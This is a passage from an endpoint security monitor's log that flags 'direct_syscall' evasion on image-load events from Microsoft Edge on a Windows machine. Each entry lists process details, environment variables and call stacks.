Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcdc69e312 C:\Windows\System32\crypt32.dll!CertGetNameStringA|0x7ffcdc6c0896 C:\Windows\System32\crypt32.dll!CertCreateSelfSignCertificate|0x7ffcdc696e9d C:\Windows\System32\crypt32.dll!CryptUnprotectData|0x7ffc9588027b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!sqlite3_dbdata_init|0x7ffc9acffcd9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7ffc8cfa46bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cfa4439 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec3b29 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec37af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec2704 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4179470 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9903094 +0100 CET + Params: base_address➜ 7ffcdb050000, checksum➜ 63718, default_address➜ 7ffcdb050000, file_path➜ C:\Windows\System32\cryptbase.dll, image_size➜ 49152, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcdb7319d2 C:\Windows\System32\dpapi.dll!CryptProtectMemory|0x7ffcdb731d6e C:\Windows\System32\dpapi.dll!CryptProtectMemory|0x7ffcdb7311ef C:\Windows\System32\dpapi.dll!CryptUnprotectDataNoUI|0x7ffcdc696e9d C:\Windows\System32\crypt32.dll!CryptUnprotectData|0x7ffc9588027b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!sqlite3_dbdata_init|0x7ffc9acffcd9 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7ffc8cfa46bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cfa4439 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec3b29 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec37af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec2704 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4179518 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9919082 +0100 CET + Params: base_address➜ 7ffcafe60000, checksum➜ 172534, default_address➜ 7ffcafe60000, file_path➜ C:\Windows\System32\nlansp_c.dll, image_size➜ 139264, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdca0198a C:\Windows\System32\ws2_32.dll!WPUGetProviderPathEx|0x7ffcdca0006d C:\Windows\System32\ws2_32.dll!WSALookupServiceBeginW|0x7ffcdc9fe83f C:\Windows\System32\ws2_32.dll!WSALookupServiceBeginW|0x7ffcdc9fe024 C:\Windows\System32\ws2_32.dll!WSALookupServiceBeginW|0x7ffcdc9fde80 C:\Windows\System32\ws2_32.dll!WSALookupServiceBeginW|0x7ffc8f130191 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12ec1c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12d7d5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12cf5b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cec37c1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec2704 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files 